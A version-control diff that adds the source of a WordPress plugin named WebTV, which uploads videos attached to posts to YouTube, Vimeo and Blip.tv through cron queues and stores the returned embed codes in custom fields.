+		/*var progress = new FileProgress(file, this.customSettings.progressTarget);
+		progress.setStatus("Uploading...");
+		progress.toggleCancel(true, this);*/
+	}
+	catch (ex) {}
+	
+	return true;
+}
+
+function webtvuploadProgress(file, bytesLoaded, bytesTotal) {
+	try {
+		var percent = Math.ceil((bytesLoaded / bytesTotal) * 100);
+		var s = ['bytes', 'kb', 'MB', 'GB', 'TB', 'PB'];
+	    var e = Math.floor(Math.log(bytesTotal)/Math.log(1024));
+    	var sizeTotal = (bytesTotal/Math.pow(1024, Math.floor(e))).toFixed(2)+" "+s[e];
+
+		document.getElementById('webtv-status-upload').innerHTML = percent + "% of "+ sizeTotal; 
+
+		/*var progress = new FileProgress(file, this.customSettings.progressTarget);
+		progress.setProgress(percent);
+		progress.setStatus("Uploading...");*/
+	} catch (ex) {
+		this.debug(ex);
+	}
+}
+
+function webtvuploadError(file, errorCode, message) {
+	try {
+		
+		switch (errorCode) {
+		case SWFUpload.UPLOAD_ERROR.HTTP_ERROR:
+			document.getElementById('webtv-status-upload').innerHTML = "Upload Error: " + message;
+			this.debug("Error Code: HTTP Error, File name: " + file.name + ", Message: " + message);
+			break;
+		case SWFUpload.UPLOAD_ERROR.UPLOAD_FAILED:
+			document.getElementById('webtv-status-upload').innerHTML = "Upload Failed.";
+			this.debug("Error Code: Upload Failed, File name: " + file.name + ", File size: " + file.size + ", Message: " + message);
+			break;
+		case SWFUpload.UPLOAD_ERROR.IO_ERROR:
+			document.getElementById('webtv-status-upload').innerHTML = "Server (IO) Error";
+			this.debug("Error Code: IO Error, File name: " + file.name + ", Message: " + message);
+			break;
+		case SWFUpload.UPLOAD_ERROR.SECURITY_ERROR:
+			document.getElementById('webtv-status-upload').innerHTML = "Security Error";
+			this.debug("Error Code: Security Error, File name: " + file.name + ", Message: " + message);
+			break;
+		case SWFUpload.UPLOAD_ERROR.UPLOAD_LIMIT_EXCEEDED:
+			document.getElementById('webtv-status-upload').innerHTML = "Upload limit exceeded.";
+			this.debug("Error Code: Upload Limit Exceeded, File name: " + file.name + ", File size: " + file.size + ", Message: " + message);
+			break;
+		case SWFUpload.UPLOAD_ERROR.FILE_VALIDATION_FAILED:
+			document.getElementById('webtv-status-upload').innerHTML = "Failed Validation.  Upload skipped.";
+			this.debug("Error Code: File Validation Failed, File name: " + file.name + ", File size: " + file.size + ", Message: " + message);
+			break;
+		case SWFUpload.UPLOAD_ERROR.FILE_CANCELLED:
+			// If there aren't any files left (they were all cancelled) disable the cancel button
+			if (this.getStats().files_queued === 0) {
+				//document.getElementById(this.customSettings.cancelButtonId).disabled = true;
+			}
+			document.getElementById('webtv-status-upload').innerHTML = "Cancelled";
+			//progress.setCancelled();
+			break;
+		case SWFUpload.UPLOAD_ERROR.UPLOAD_STOPPED:
+			document.getElementById('webtv-status-upload').innerHTML = "Stopped";
+			break;
+		default:
+			document.getElementById('webtv-status-upload').innerHTML = "Unhandled Error: " + errorCode;
+			this.debug("Error Code: " + errorCode + ", File name: " + file.name + ", File size: " + file.size + ", Message: " + message);
+			break;
+		}
+	} catch (ex) {
+        this.debug(ex);
+    }
+}
+
+function submit_form_upload() {
+	document.forms['post'].submit();
+}
+
+function webtvuploadComplete(file) {
+	if (this.getStats().files_queued === 0) {
+		//document.getElementById('uploaddiv').innerHTML = '<span id="spanButtonPlaceHolder"><a href="#webtv-status-info" onclick="submit_form_upload()">Retry Upload</a></span>';
+		//document.getElementById(this.customSettings.cancelButtonId).disabled = true;
+	}
+}
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/readme.txt
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/readme.txt	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/readme.txt	(revision 44)
@@ -0,0 +1,43 @@
+=== WebTV ===
+Contributors: edeleon
+Donate link: http://www.webstratega.com/plugins/webtv-plugin-wordpress/#donate
+Tags: video, video solutions, youtube, blip.tv, vimeo, embed
+Requires at least: 2.7
+Tested up to: 2.8
+Stable tag: 0.7
+
+Lets you attach a video to a post and upload to most popular video distribution sites like YouTube, Vimeo and Blip.tv, after video is uploaded and processed get and inserts the embed code from the sites into custom fields on the post.  The plugin has the possibility to extend any other distribution site creating extra drivers
+
+== Description == 
+
+Lets you attach a video to a post and upload to most popular video distribution sites like YouTube, Vimeo and Blip.tv, after video is uploaded and processed get and inserts the embed code from the sites into custom fields on the post.  The plugin has the possibility to extend any other distribution site creating extra drivers.
+
+Every time you create a new post a new Metabox appears letting you attach a video to the post, after the video is uploaded, it uses the post title, description and tags to publish the video to the most popular video distribution sites like YouTube, Blip, Vimeo.
+You can check the option to let the plugin automatically publish the post on Wordpress after a successful upload to any of the video distribution sites configured.
+The plugin uses the Wordpress internal cron system to upload the video to all the sites configured.  After a succesfull upload the plugin checks the video distribution site every 5 minutes if the video was processed and if the embed code is available, once the video is ready it gets the embed code and insert the data into a custom field on the post.
+
+== Installation ==
+
+Unzip the file and copy the directory to the plugin directory inside Wordpress.  The plugin uses the Wordpress upload_dir, please be sure that the directory have right permissions.  Activate the plugin and configure the settings of the plugin.
+
+== Instructions ==
+
+You can configure the number of times the plugin tries to upload a video to the Internet, that helps the plugin prevent an infinite loop if a video site is unavailable.
+You can configure the order of how you want to use the videos published into your Wordpress template, using the template tag explained on this document.
+Follow the instructions to fill the data to configure the different video distribution sites.  Some of them can ask you for a Developer Key.
+
+== Screenshots ==
+1. Configuration screen
+2. Attaching video to a post
+3. WebTV Status MetaBox
+4. Custom fields from WebTV
+
+== Template Tags ==
+
+Once the plugin gets the embed code and insert it into the custom field, you can use the "template tag" webtv_embedcode() to display the video on your post following the order you had defined on the settings.
+
+== Compatibility ==
+
+You need PHP version 5 in order to use the plugin.  This plugin uses the curl command, please make sure your php installation have curl support.
+
+== Acknowledgements ==
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/webtv.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/webtv.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/webtv.php	(revision 44)
@@ -0,0 +1,39 @@
+<?php
+
+#
+/*
+Plugin Name: WebTV Vlogger Plugin
+Plugin URI: http://www.webstratega.com/plugins/webtv-plugin-wordpress/
+Version: 0.6
+Author: Edgar de Le&oacute;n - edeleon
+Author URI: http://www.webstratega.com/about/
+Description: Lets you attach a video to a post and upload to most popular video distribution sites like YouTube, Vimeo and Blip.tv, after video is uploaded and processed get and inserts the embed code from the sites into custom fields on the post.  The plugin has de possibility to extend any other distribution site creating extra drivers
+License: GPL (http://www.fsf.org/licensing/licenses/info/GPLv2.html) 
+*/
+
+require_once (dirname (__FILE__).'/webtv_Admin.php');
+require_once (dirname (__FILE__).'/webtv_Actions.php');
+foreach (glob(dirname (__FILE__).'/Drivers/*.php') as $file) { 
+	include_once $file;
+}
+
+if(class_exists('Webtv_Admin')) {
+	$WebtvAdminClass = new Webtv_Admin;
+}
+else {
+	die('not registered!');
+}
+
+
+if(isset($WebtvAdminClass)) {
+	add_action('admin_menu', array(&$WebtvAdminClass,'add_config_page'));
+	add_action('wp_print_scripts', array(&$WebtvAdminClass,'orderlist_js'));
+}
+
+add_action('submitpost_box', 'webtv_status_box');
+add_action('save_post','webtv_save_and_schedule');
+add_action('webtv_upload','webtv_upload_video');
+add_action('webtv_getembed','webtv_getembed_video');
+
+
+?>
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/webtv_Actions.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/webtv_Actions.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/webtv_Actions.php	(revision 44)
@@ -0,0 +1,525 @@
+<?php
+
+/*
+Author: Edgar de Le&oacute;n - edeleon
+Author URI: http://www.webstratega.com/about/
+Description: Lets you attach a video to a post and upload to most popular video distribution sites like YouTube, Vimeo and Blip.tv, after video is uploaded and processed get and inserts the embed code from the sites into custom fields on the post.  The plugin has de possibility to extend any other distribution site creating extra drivers
+License: GPL (http://www.fsf.org/licensing/licenses/info/GPLv2.html) 
+*/
+
+function webtv_status_box() {
+	if( function_exists( 'add_meta_box' )) {
+		add_meta_box('webtv-status-info','WebTV Status','webtv_display_status','post','normal','high');
+	}
+}
+
+
+
+function webtv_getembed_video() {
+	$webtvembedqueue = (array)get_option( 'webtv_embed_queue' );
+	if (empty($webtvembedqueue)) return;
+	$reschedule = false;
+	foreach ($webtvembedqueue as $service => $ids) {
+		//Load Settings
+		$settings = (array)get_option("webtv_".$service);
+		foreach ($ids as $post_id) {
+			//GetEmbedCode 
+			$resp = webtv_getembed_code($post_id,$service,$settings);
+			if ($resp) unset($ids[$post_id]);
+		}
+		$webtvembedqueue[$service] = $ids;
+		if (!empty($ids)) $reschedule = true;
+	} 
+	update_option( 'webtv_embed_queue', $webtvembedqueue );
+	//Si existen elementos en la cola de getEmbed programa el cron para dentro de 5 minutos
+	if ($reschedule) {
+		wp_clear_scheduled_hook( 'webtv_getembed' );
+		wp_schedule_single_event(time()+300, 'webtv_getembed');
+	}
+}
+
+function webtv_getembed_code($post_id,$service,$settings) {
+	$poststatus = (array)get_post_meta($post_id, '_webtv_status', true);
+	$uploadstatus = $poststatus[$service]['upload'];
+	$embedstatus = $poststatus[$service]['embed'];
+	$videodata = $poststatus[$service]['data'];
+	if (function_exists('getembed_'.$service)) {
+			$response = call_user_func('getembed_'.$service,$settings,$videodata);
+			if ($response['retry'] == 0) {
+    			$return = true; //sacarlo de la cola
+    		} else {
+    			$return = false; //intentar de nuevo publicar
+    		}
+			if(empty($response)) {
+				$embedstatus['status'] = 'error';
+				$embedstatus['status_msg'] = _("No response from $service");				
+			}
+			if($response['error']) {
+				$embedstatus['status'] = 'error';
+				$embedstatus['status_msg'] = $response['error_description'] . " " . $response['status_description'];
+				$uploadstatus['status_msg'] = $response['error_description'] . " " . $response['status_description']; 
+			} else {
+				$embedstatus['status'] = 'queued';
+				$embedstatus['status_msg'] = $response['error_description'] . " " . $response['status_description'];
+			}
+			if(!empty($response['embed'])) {
+				$embedstatus['status'] = 'completed';
+				$embedstatus['status_msg'] = _("check custom fields");
+				$uploadstatus['status_msg'] = _("completed");
+				//unset basic data
+				unset($response['service']);
+				unset($response['status']);
+				unset($response['status_description']);
+				unset($response['error']);
+				unset($response['error_description']);
+				unset($response['retry']);
+				//Insert into custom fields
+				foreach ($response as $customfield => $data) {
+					add_post_meta($post_id,'webtv_'.$service.'_'.$customfield,$data,true);
+					$videodata[$customfield] = $data;
+				}
+				//Autopublish post if enabled
+				$postoptions = get_post_meta($post_id, '_webtv_post_options',true);
+				$autopublish = false;
+				if (!empty($postoptions)) {
+					$globalopts = $postoptions['global'];
+					if ((isset($globalopts['autopost'])) && ($globalopts['autopost'] == 'on'))
+						$autopublish = true;
+				}
+				if (($autopublish) && (get_post_status($post_id) === 'draft')) {
+					wp_publish_post($post_id);
+				}
+			}
+			$poststatus[$service]['upload'] = $uploadstatus;
+			$poststatus[$service]['embed'] = $embedstatus;
+			$poststatus[$service]['data'] = $videodata;
+			add_post_meta($post_id, '_webtv_status', $poststatus, true) or
+    		update_post_meta($post_id, '_webtv_status', $poststatus);
+			return $return;
+	}
+	return true; //Sacarlo de la cola	
+}
+
+function webtv_publish_video($entry,$service,$settings,$options) {
+	$post_id = $entry['post_id'];
+	$publish = false;
+	if (isset($settings['enabled']) && ($settings['enabled'] == 1)) {
+		$publish = true; 
+	}
+	if($publish) {
+		unset($settings['enabled']);
+		$poststatus = (array)get_post_meta($post_id, '_webtv_status', true);
+		$driver = $poststatus[$service]['upload'];
+		if ($driver['status'] == 'error') return true; //sacarlo de la cola
+		$driver['count']++;
+		if ($driver['count'] > $options['attemps']) {
+			$driver['status'] = 'error';
+			$driver['status_msg'] = sprintf(_('Impossible to upload video on %d attemps'),$options['attemps']);
+			$poststatus[$service]['upload'] = $driver;
+			add_post_meta($post_id, '_webtv_status', $poststatus, true) or
+    		update_post_meta($post_id, '_webtv_status', $poststatus);
+    		return true; //sacarlo de la cola
+		}
+		if (function_exists('upload_'.$service)) {
+			$response = call_user_func('upload_'.$service,$settings,$entry);
+			if ($response['retry'] == 0) {
+    			$return = true; //sacarlo de la cola
+    		} else {
+    			$return = false; //intentar de nuevo publicar
+    		}
+			if(empty($response)) {
+				$driver['status'] = 'error';
+				$driver['status_msg'] = _("No response from $service");				
+			}
+			if($response['error']) {
+				$driver['status'] = 'error';
+				$driver['status_msg'] = $response['error_description'];
+			}			
+			if(!empty($response['video_id'])) {
+				$driver['status'] = 'completed';
+				$driver['status_msg'] = $response['status'] . " " . $response['status_description'];
+				$poststatus[$service]['embed'] = array(	'status' => 'queued',
+														'status_msg' => 'scheduled to get the embed code');
+				//unset basic data
+				unset($response['service']);
+				unset($response['status']);
+				unset($response['status_description']);
+				unset($response['error']);
+				unset($response['error_description']);
+				unset($response['retry']);
+				//Insert into custom fields
+				foreach ($response as $customfield => $data) {
+					add_post_meta($post_id,'webtv_'.$service.'_'.$customfield,$data,true);
+					$poststatus[$service]['data'][$customfield] = $data;
+				}
+				//Insert into GetEmbed queue here if some upload gives a timeout, just to be sure
+				$webtvembedqueue = (array)get_option( 'webtv_embed_queue' );
+				if (empty($webtvembedqueue)) add_option('webtv_embed_queue', array());
+				$post_ids = (array)$webtvembedqueue[$service];
+				if( !array_key_exists( $post_id, $post_ids ) ) {
+					$post_ids[ $post_id ] = $post_id;
+					$webtvembedqueue[$service] = $post_ids;	
+				}
+				update_option( 'webtv_embed_queue', $webtvembedqueue );
+			}
+			$poststatus[$service]['upload'] = $driver;
+			add_post_meta($post_id, '_webtv_status', $poststatus, true) or
+    		update_post_meta($post_id, '_webtv_status', $poststatus);
+    		return $return;
+		}
+	}
+	$poststatus = (array)get_post_meta($post_id, '_webtv_status', true);
+	$driver = $poststatus[$service]['upload'];
+	$driver['status'] = 'error';
+	$driver['status_msg'] = _("Please check webtv settings");
+	$poststatus[$service]['upload'] = $driver;
+	add_post_meta($post_id, '_webtv_status', $poststatus, true) or
+    update_post_meta($post_id, '_webtv_status', $poststatus);
+	return true;  //sacarlo de la cola  
+}
+
+function webtv_upload_video() {
+	$webtvqueue = (array)get_option( 'webtv_upload_queue' );
+	$reschedule = false;
+	if (!empty($webtvqueue)) {
+		$options = get_option("webtv");
+		foreach ($webtvqueue as $service => $ids) {
+			//Load Settings
+			$settings = (array)get_option("webtv_".$service);
+			foreach ($ids as $post_id) {
+				//Get Post info
+				$post = wp_get_single_post($post_id);
+				$entry['post_id'] = $post_id;
+				$entry['titulo'] = $post->post_title;
+				$entry['desc'] = $post->post_content;
+				$entry['tags'] = implode (',', $post->tags_input);
+				//Get File info
+				$fdetails = (array)get_post_meta($post_id,"_webtv_file_details",true);
+				$entry['fileinfo'] = $fdetails['full_path'];
+				$entry['content_type'] = $fdetails['content_type'];
+				$entry['filesize'] = $fdetails['size'];
+				//Upload file 
+				$resp = webtv_publish_video($entry,$service,$settings,$options);
+				if ($resp) unset($ids[$post_id]);  //descomentar al terminar pruebas
+			}
+			$webtvqueue[$service] = $ids;
+			if (!empty($ids)) $reschedule = true;
+		}
+		if (isset($webtvqueue[0])) unset($webtvqueue[0]);
+		update_option( 'webtv_upload_queue', $webtvqueue );
+	}
+	//Si existen elementos en la cola de subida programa el cron de subida para dentro de 5 minutos
+	if ($reschedule) {
+		wp_clear_scheduled_hook( 'webtv_upload' );
+		wp_schedule_single_event(time()+300, 'webtv_upload');	
+	}	
+	//Se programa el cron para obtener el embed code de los videos
+	if( !wp_next_scheduled( 'webtv_getembed' ) ) {
+		wp_clear_scheduled_hook( 'webtv_getembed' );
+		wp_schedule_single_event(time(), 'webtv_getembed');
+	}
+}
+
+function webtv_display_status() {
+	global $post_ID, $temp_ID;
+	$post_id = (int) (0 == $post_ID ? $temp_ID : $post_ID);
+	
+	/*$url = get_settings('siteurl');
+    $url =  'http://webtv.webstratega.com/wp-content/plugins/'.$plugin = dirname(plugin_basename(__FILE__)).'/includes/';
+    $uploaddir = '/'.get_option( 'upload_path' );*/
+    //$uploaddir = '/'.get_option( 'upload_path' ).'/webtv';  //A decidir si guardar dentro de subdir
+	if ($post_id < 1) {
+	$message = _("You need to Save Draft before upload a video");
+	echo '<div id="draft">'.$message.'</div>';
+	
+	} else {
+?>	
+	<div id="uploaddiv" style="border: 1px solid rgb(127, 170, 255); padding: 2px; display: inline; background-color: rgb(197, 217, 255);">
+	<?php
+	$status = get_post_meta($post_id,"_webtv_upload_status",true);
+	if ((!empty($status) && $status == 'error') || (empty($status))) {
+	?>
+	<span id="spanButtonPlaceHolder"><a href="#webtv-status-info" onclick="load_swfupload();" style="font-family: Helvetica, Arial, sans-serif; font-size: 10pt;">Upload Video</a></span>
+	<?php
+	} else { 
+		echo _("Video Uploaded");
+	}
+	?>
+	</div>
+	<br/>
+	<span>
+	<?php
+		$postoptions = get_post_meta($post_id, '_webtv_post_options',true);
+		$checked = 'checked="checked"';
+		if (!empty($postoptions)) {
+			$globalopts = $postoptions['global'];
+			if ((isset($globalopts['autopost'])) && ($globalopts['autopost'] == 'off'))
+				$checked = '';
+		}
+	?>
+	<br/><input type="checkbox" name="autopost" id="autopost" <?=$checked?> /> <?php echo _("Automatically publish post after one successful upload?") ?>
+	</span>
+	<br/><br/>
+	<span><b><?php echo _("File Details")?>:</b></span><br/>
+	<div  id="webtv-status-upload"></div>
+	<!--<div style="border: 1px solid rgb(127, 170, 255); padding: 2px; display: inline; background-color: rgb(197, 217, 255);">
+	<a href="#" id="btnCancel" onclick="swfu.cancelQueue();" disabled="disabled" >Cancel</a>
+	</div>
+	-->				
+	<div id="eleList">
+		<?php
+		
+		
+		if (!empty($status)) {
+			switch ($status) {
+				case "error": 	$msg = get_post_meta($post_id,"_webtv_upload_status_msg",true);
+								$status_color = "#FF0000;";
+								break;	
+				case "stored":
+				case "uploaded":$fdetails = get_post_meta($post_id,"_webtv_file_details",true);
+								$msg = $fdetails['local_file'].' '.$fdetails['content_type'].' '.file_size($fdetails['size']);
+								$status_color = "#009015;";
+								break;
+			}
+			echo '<span style="color: #6F6F6F;"> '.$msg.' </span><span style="color: '.$status_color.'">'.$status.'</span><br/>';
+		}
+		$poststatus = get_post_meta($post_id, '_webtv_post_status',true);
+		if (!empty($poststatus)) {
+			$status_color = "#FF0000;";
+			echo '<span style="color: #6F6F6F;"> '.$poststatus.'</span><span style="color: '.$status_color.'">error </span><br/>';
+		}
+		/*if ($programado = wp_next_scheduled( 'webtv_upload' )) { 
+			$webtvqueue = get_option( 'webtv_upload_queue' );
+			?>
+			<span style="color: #009015;"><?php echo _("scheduled ");?></span><span style="color: #6F6F6F;"><?php echo _("Next upload: "); echo date('d-m-Y h:i',$programado); ?></span>
+			<?php
+			$services = array();
+			if (!empty($webtvqueue)) {
+			foreach ($webtvqueue as $service => $ids) {
+				if (array_key_exists($post_id, $ids)) {
+					$services[] = $service;
+				}	
+			}
+			}
+			?><span style="color: #6F6F6F;"><?php if (!empty($services)) { echo _("to "); echo implode(",",$services); } ?></span><br/><?php
+		}*/
+		$poststatus = get_post_meta($post_id, '_webtv_status', true);
+		if (!empty($poststatus)) {
+			foreach ($poststatus as $driver => $type) {
+				?><br/>
+				<span><b><?php echo ucfirst($driver) . " Status:"?></b></span><br/><?
+				foreach ($type as $process => $data) {
+					if ($process != 'data') {						
+						?>
+						<span><?=ucfirst($process)?></span>
+						
+						<span style="color: #6F6F6F;"><?=$data['status_msg']?>
+						<?php
+						$queuename = ($process == 'upload') ? "webtv_upload" : "webtv_getembed";
+						if (($data['status'] == 'queued') && (wp_next_scheduled( $queuename )) ) {
+							echo _(" at ");
+							echo date('d-m-Y H:i',wp_next_scheduled( $queuename ));	
+						} 
+						echo "</span>";
+						$style_color = ($data['status'] == 'error') ? "#FF0000" : "#009015"; ?>
+						<span style="color: <?=$style_color?>;"><?=$data['status']?></span>
+						<?php 
+						echo "<br/>";
+					} else {
+						?>
+						<!--<span style="color: #6F6F6F;">Info</span><br/>-->
+						<span>VideoID</span>
+						<?php
+						if (isset($data['video_id'])) {
+							echo '<span style="color: #6F6F6F;">';
+							if (isset($data['watch_url'])) { 	
+							?>
+								<a href="<?=$data['watch_url']?>" target="_blank"><?=$data['video_id']?></a>	
+							<?php		
+							} else {
+								echo $data['video_id'];
+							}
+							echo '</span><br/>';
+						}
+						echo '<span>CustomFields:</span><br/>';
+						foreach ($data as $customfield => $value) {
+							$message = sprintf(_("at %s custom field"),"webtv_".$driver."_".$customfield);
+							echo '<span style="color: #6F6F6F;">'.$customfield.' </span><span style="color: #6F6F6F;">'.$message.'</span><span style="color: #009015;"> done</span><br/>';
+						}	
+					}
+				}
+			}
+		}
+		?>
+		
+	</div>
+	<?php $debug = false;
+	if ($debug) {
+	?>
+	<div id="debug">
+		<p>Debug</p>
+		<?php
+			print "post_id ".$post_id;
+			echo "<BR/>";
+			$options = get_option("webtv");
+			foreach ($options['services'] as $driver) {
+				print_r($driver);
+				echo "<BR/>";
+				$settings = get_option("webtv_".$driver);
+				print_r($settings);
+				echo "<BR/>";
+				if ($settings['enabled']) {
+					print "enabled";
+					echo "<BR/>";
+				}
+			}
+			echo "<BR/>Upload Queue<BR/>";
+			$webtvqueue = get_option( 'webtv_upload_queue' );
+			$webtvembedqueue = get_option( 'webtv_embed_queue' );
+			//update_option( 'webtv_upload_queue',array());
+			//update_option( 'webtv_embed_queue',array());
+			//if (isset($webtvqueue[0])) unset($webtvqueue[0]);
+			//delete_post_meta($post_id, '_webtv_status');
+			print_r($webtvqueue);
+			echo "<BR/>Getembed Queue<BR/>";
+			print_r($webtvembedqueue);
+			echo "<BR/>";
+			/*$settings = get_option("webtv_youtube");
+			print_r($settings);*/
+			echo "<BR/>";
+			print "next upload cron ";
+			print date('Ymd h i',wp_next_scheduled( 'webtv_upload' ));
+			print date('Ymd h i',wp_next_scheduled( 'webtv_getembed' ));
+			echo "<BR/>";
+			print "Post Status <BR/> ";
+			print_r($poststatus = (array)get_post_meta($post_id, '_webtv_status', true));
+		?>
+	</div>
+	<?php } ?>
+
+<?php
+	}
+}
+
+function webtv_save_and_schedule() {
+	global $post_ID, $temp_ID;
+	$post_id = (int) (0 == $post_ID ? $temp_ID : $post_ID);    
+	//Check post options 
+	$autopost = 'off';
+	if (isset($_POST['autopost']))
+		$autopost = 'on';
+	$postopts['global'] = array('autopost' => $autopost);	
+	add_post_meta($post_id, '_webtv_post_options', $postopts, true) or
+	update_post_meta($post_id, '_webtv_post_options', $postopts);
+	//The _webtv_file_details and _webtv_upload_status custom fields are created on upload.php file using post data from swfupload
+	$status = get_post_meta($post_id,"_webtv_upload_status",true);	
+	if ($status === "uploaded") {
+		//Get Post info
+		$post = wp_get_single_post($post_id);
+		if ( $post == false || $post == null ) {
+	            return false;
+	    }
+	    $error_msg = "";
+		//print_r($post);
+		if (($post->post_type) != 'post') {
+			$error_msg .= _("This is not a post ");
+			$error = true;
+		}
+		if (empty($post->post_title)) {
+			$error_msg .= _(" Must have a post title ");
+			$error = true;
+		}
+		if (empty($post->post_content)) {
+			$error_msg .= _(" Must have post content ");
+			$error = true;
+		}
+		if (empty($post->tags_input)) {
+			$error_msg .= _(" Must have at least one tag ");
+			$error = true;
+		}
+		if ($error) {
+			add_post_meta($post_id, '_webtv_post_status', $error_msg, true) or
+	    	update_post_meta($post_id, '_webtv_post_status', $error_msg);
+			return false;
+		}
+		delete_post_meta($post_id, '_webtv_post_status');
+		$options = get_option("webtv");
+		$webtvqueue = (array)get_option( 'webtv_upload_queue' );
+		foreach ($options['services'] as $driver) {
+			$settings = get_option("webtv_".$driver);
+			if ($settings['enabled']) {
+				$poststatus[$driver]['upload'] = array(	'count' => 0,
+														'status' => 'queued',
+														'status_msg' => 'scheduled to upload');
+				add_post_meta($post_id, '_webtv_status', $poststatus, true) or
+    			update_post_meta($post_id, '_webtv_status', $poststatus);
+    			$post_ids = (array)$webtvqueue[$driver];
+				if( !array_key_exists( $post_id, $post_ids ) ) {
+					$post_ids[ $post_id ] = $post_id;
+					$webtvqueue[$driver] = $post_ids;	
+				}	
+			}
+		}
+		if (isset($webtvqueue[0])) unset($webtvqueue[0]);
+		update_option( 'webtv_upload_queue', $webtvqueue );
+		add_post_meta($post_id, '_webtv_upload_status', 'stored', true) or
+		update_post_meta($post_id, '_webtv_upload_status', 'stored');
+	}  //$status === "uploaded"
+	//Iniciar el cron job
+	if( !wp_next_scheduled( 'webtv_upload' ) ) {
+		wp_clear_scheduled_hook( 'webtv_upload' );
+		wp_schedule_single_event(time(), 'webtv_upload');
+	}
+}
+
+function file_size($size)
+{
+    $filesizename = array("Bytes", "KB", "MB", "GB", "TB", "PB", "EB", "ZB", "YB");
+    return $size ? round($size/pow(1024, ($i = floor(log($size, 1024)))), 2) . $filesizename[$i] : '0Bytes';
+}
+
+function webtv_content_type($filename) {
+	$pathinfo = pathinfo($filename);
+	$ext = strtolower($pathinfo['extension']);
+	
+	$valid_video_format['mpeg'] = 'video/mpeg';
+	$valid_video_format['mpg'] = 'video/mpeg';
+	$valid_video_format['mpe'] = 'video/mpeg';
+	$valid_video_format['qt'] = 'video/quicktime';
+	$valid_video_format['mov'] = 'video/quicktime';
+	$valid_video_format['avi'] = 'video/x-msvideo';
+	$valid_video_format['wmv'] = 'video/x-ms-wmv';
+	$valid_video_format['3gp'] = 'video/3gpp';
+	$valid_video_format['m4v'] = 'video/x-m4v';
+	$valid_video_format['flv'] = 'video/x-flv';
+	$valid_video_format['mp4'] = 'video/mp4';
+	$valid_video_format['f4v'] = 'video/mp4';
+	
+	return $valid_video_format[$ext];
+
+}
+
+/*  Template Tags  */
+function webtv_embedcode() {
+	global $post;
+	if (!isset($post->ID) || $post->ID == 0 || $post->ID == "") {
+		return;
+	} else {
+		$post_id = $post->ID;		
+	}
+	$options = get_option("webtv"); 
+	$embed = '';
+	$orderlist = $options['order']; 
+	foreach ($orderlist as $order => $service) {
+	  $embed = get_post_meta($post_id,'webtv_'.$service.'_embed',true);
+	  if (!empty($embed)) {
+		echo $embed;
+		return;
+	  }
+	}
+	echo '';
+	return;
+}
+
+
+?>
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/webtv_Admin.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/webtv_Admin.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/webtv_Admin.php	(revision 44)
@@ -0,0 +1,424 @@
+<?php
+
+/*
+Author: Edgar de Le&oacute;n - edeleon
+Author URI: http://www.webstratega.com/about/
+Description: Lets you attach a video to a post and upload to most popular video distribution sites like YouTube, Vimeo and Blip.tv, after video is uploaded and processed get and inserts the embed code from the sites into custom fields on the post.  The plugin has de possibility to extend any other distribution site creating extra drivers
+License: GPL (http://www.fsf.org/licensing/licenses/info/GPLv2.html) 
+*/
+
+class Webtv_Admin {
+	
+	function Webtv_Admin() {
+		register_activation_hook(dirname(__FILE__) . '/webtv.php', array(&$this, 'activate_me'));
+	}
+	
+	public function activate_me() {
+		foreach (glob(dirname (__FILE__).'/Drivers/*.php') as $file) { 
+        	include_once $file;
+        	$path_parts = pathinfo($file);
+        	$service_name = $path_parts['filename'];
+        	if (function_exists($service_name.'_settings')) {
+        		$service_config = call_user_func($service_name.'_settings');
+	        	if (isset($service_config)) {  
+	        		$provider = $service_config['service'];      		
+					if ( $options = get_option("webtv") ) {
+						if (!(isset($options['services'][$provider]))) {
+							$options['services'][$provider] = $provider;
+							$options['order'][] = $provider;
+					    	update_option("webtv", $options);
+					    }
+					} else {
+					    $options = array();
+						$options['attemps'] = 3;
+						$options['services'][$provider] = $provider;
+						$options['order'][] = $provider;
+						add_option("webtv",$options);
+					}
+					
+					$settings = "webtv_".$service_config['service'];
+					$service_name = $service_config['service'];
+					unset($service_config['service']);
+					if ( !get_option($settings) ) {
+					    $options = array();
+					    foreach ($service_config as $option => $value) {
+					    	$options[$option] = $value;
+					    }
+					    add_option($settings,$options);
+					}    
+				unset($service_config);	
+	        	}
+	        }
+        	if (function_exists($service_name.'_extras')) {
+        		$extras = call_user_func($service_name.'_extras');
+        		if ( get_option($service_name.'_extras') ) {
+				    update_option('webtv_'.$service_name.'_extras', $extras);
+				} else {
+				    add_option('webtv_'.$service_name.'_extras', $extras);
+				}
+        	} 
+   		}
+	} //Activate_me
+	
+	function add_config_page() {
+		if ( function_exists('add_submenu_page') ) {
+			add_options_page('WebTV for WordPress Configuration', 'WebTV', 8, basename(__FILE__), array(&$this,'config_page'));
+			add_filter( 'plugin_action_links', array( &$this, 'filter_plugin_actions'), 10, 2 );						}
+	}
+
+	function filter_plugin_actions( $links, $file ){
+		//Static so we don't call plugin_basename on every plugin row.
+		static $this_plugin;
+		if ( ! $this_plugin ) $this_plugin = plugin_basename(__FILE__);
+
+		if ( dirname($file) == dirname($this_plugin) ){
+			$settings_link = '<a href="options-general.php?page=webtv_Admin.php">' . __('Settings') . '</a>';
+			array_unshift( $links, $settings_link ); // before other links
+		}
+		return $links;
+	}
+	
+	function config_page() {
+		if (!current_user_can('manage_options')) die(__('You cannot edit the WebTV options.'));
+		$options = get_option("webtv");
+		//print_r($options);
+		
+		if (!is_array($options)) {
+			$options = array();
+			$options['attemps'] = 3;
+			add_option("webtv",$options);
+		}
+		if (!is_array($options['order'])) {
+			foreach ($options['services'] as $service) {
+				$options['order'][] = $service; 
+			}
+			update_option("webtv",$options);
+		}
+		
+		if ( isset($_POST['submit']) ) {
+			check_admin_referer('webtv-config');
+			//print_r($_POST);
+			if (isset($_POST['attemps']) && is_numeric($_POST['attemps'])) {
+				$options['attemps'] = $_POST['attemps'];
+				if ($options['attemps'] < 1) {
